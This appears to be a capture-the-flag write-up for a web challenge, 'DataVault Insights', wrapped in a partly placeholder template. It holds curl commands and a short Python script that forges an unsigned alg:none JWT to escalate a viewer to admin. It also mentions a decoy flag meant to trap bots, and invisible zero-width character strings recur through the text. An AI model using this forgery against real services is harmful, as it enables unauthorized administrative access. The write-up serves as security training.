← Back to Writeups
HTBN/AWeb

DataVault Insights

XESXOR8/23/20265 min read
#web#htb#n/a

DataVault Insights

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-21 | Status: Solved Techniques: api_endpoint_enumeration, decoy_flag_identification, jwt_alg_none_signature_bypass, privilege_escalation_via_forged_claims, role_based_access_control_bypass

Summary

Task: Express.js analytics platform with JWT API authentication and role-based access control (viewer/admin). Solution: Forged JWT with alg:none to bypass signature verification, escalated role from viewer to admin, accessed /api/admin/config to retrieve flag from PLATFORM_SECRET_KEY.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260521_hackadvisor_datavault_insights
  • Tags: jwt, nodejs, authentication_bypass, none_algorithm, token_forgery, privilege_escalation, decoy_flag, role_based_access_control, express_js
  • Indicators: JWT API token exposed on profile page with role claim visible in payload, X-DV-TOKEN custom header for API authentication, Admin endpoints return helpful error messages disclosing available routes and current role, Express.js backend (X-Powered-By: Express) with HS256 JWT, Server accepts JWT tokens with alg:none — no signature verification
  • Source: 20260521_hackadvisor_datavault_insights.md

Foothold

Vulnerability / Misconfiguration

  1. Api_endpoint_enumeration
  2. Decoy_flag_identification
  3. Jwt_alg_none_signature_bypass
  4. Privilege_escalation_via_forged_claims
  5. Role_based_access_control_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • api_endpoint_enumeration
  • decoy_flag_identification
  • jwt_alg_none_signature_bypass
  • privilege_escalation_via_forged_claims
  • role_based_access_control_bypass
  • Tags: jwt, nodejs, authentication_bypass, none_algorithm, token_forgery, privilege_escalation, decoy_flag, role_based_access_control, express_js

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DataVault Insights is a business intelligence and analytics platform built by VaultMetrics Corp. The platform lets teams create dashboards, visualize datasets, and share reports across the organization. It supports multiple data sources including PostgreSQL, BigQuery, Google Sheets, and REST APIs.

The platform uses role-based access control with admin and viewer roles. As a viewer, you can access dashboards, datasets, and reports — but administrative functionality like system configuration and user management is restricted.

You have been given access as a regular viewer. Your mission is to explore the application, understand its authentication mechanism, and find a way to escalate your privileges to access restricted administrative functionality. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js analytics platform with JWT-based API authentication. Given viewer credentials, the goal is to escalate privileges to admin and access restricted configuration endpoints where the flag is stored.

Analysis

The application uses two authentication mechanisms:

  1. Session-based (connect.sid cookie) for the web UI
  2. JWT-based (X-DV-TOKEN header) for the API

The profile page at /profile exposes the user's API token — a standard HS256 JWT containing claims including uid, oid, role, and email. The role field is set to "viewer" for the given credentials. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attempting to access admin API endpoints (/api/admin/config, /api/admin/users) with the viewer token returns a helpful error message that discloses:

  • The current role ("viewer")
  • All available admin endpoints (GET /api/admin/config, GET /api/admin/users, POST /api/admin/settings)

This confirms the authorization check is based solely on the JWT role claim.

The critical vulnerability is that the server's JWT verification accepts tokens with "alg": "none" — meaning it does not enforce signature verification. This allows an attacker to forge arbitrary JWT claims without knowing the signing secret. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

A decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was embedded in HTML comments on every page — a classic HackAdvisor honeypot, correctly ignored.

Solution

Step 1: Login and Obtain JWT Token

Login with the provided credentials and navigate to the profile page to obtain the JWT API token:

# Login
curl -s -c cookies.txt -X POST https://<target>/login \
  -d "email=user@test.com&password=password123"

# Get profile page (contains JWT token)
curl -s -b cookies.txt https://<target>/profile

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The JWT token is displayed in the "API Token" section. Decoded:

  • Header: {"alg": "HS256", "typ": "JWT"}
  • Payload: {"uid": 2, "oid": 1, "role": "viewer", "email": "user@test.com", ...}

Step 2: Enumerate Admin Endpoints

Test admin API endpoints with the viewer token to discover available routes:

curl -s -H "X-DV-TOKEN: <viewer_token>" https://<target>/api/admin/config

Response reveals all admin endpoints:

{"error":"Admin access required","your_role":"viewer","available_endpoints":["GET /api/admin/config","GET /api/admin/users","POST /api/admin/settings"]}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Forge JWT with alg:none

Create a forged JWT with alg set to "none" and role set to "admin":

#!/usr/bin/env python3
"""JWT alg:none forgery for DataVault Insights privilege escalation"""
import base64
import json
import time

def b64url_encode(data):
    """Base64url encode without padding"""
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',', ':')).encode()
    ).decode().rstrip('=')

header = {'alg': 'none', 'typ': 'JWT'}
payload = {
    'uid': 1,
    'oid': 1,
    'role': 'admin',
    'email': 'admin@datavault.io',
    'iat': int(time.time()),
    'exp': int(time.time()) + 3600
}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Token with empty signature (trailing dot)
token = f'{b64url_encode(header)}.{b64url_encode(payload)}.'
print(token)

Step 4: Access Admin Config and Retrieve Flag

Use the forged admin token to access the restricted configuration endpoint:

FORGED_TOKEN=$(python3 solve.py)
curl -s -H "X-DV-TOKEN: $FORGED_TOKEN" https://<target>/api/admin/config | python3 -m json.tool

The response contains all system configuration entries. The flag is stored in the PLATFORM_SECRET_KEY entry:

{"id": 13, "key": "PLATFORM_SECRET_KEY", "value": "FLAG{REDACTED}", "category": "security"}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The /api/admin/users endpoint also becomes accessible, listing all 8 platform users (1 admin: Marcus Chen, 7 viewers). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR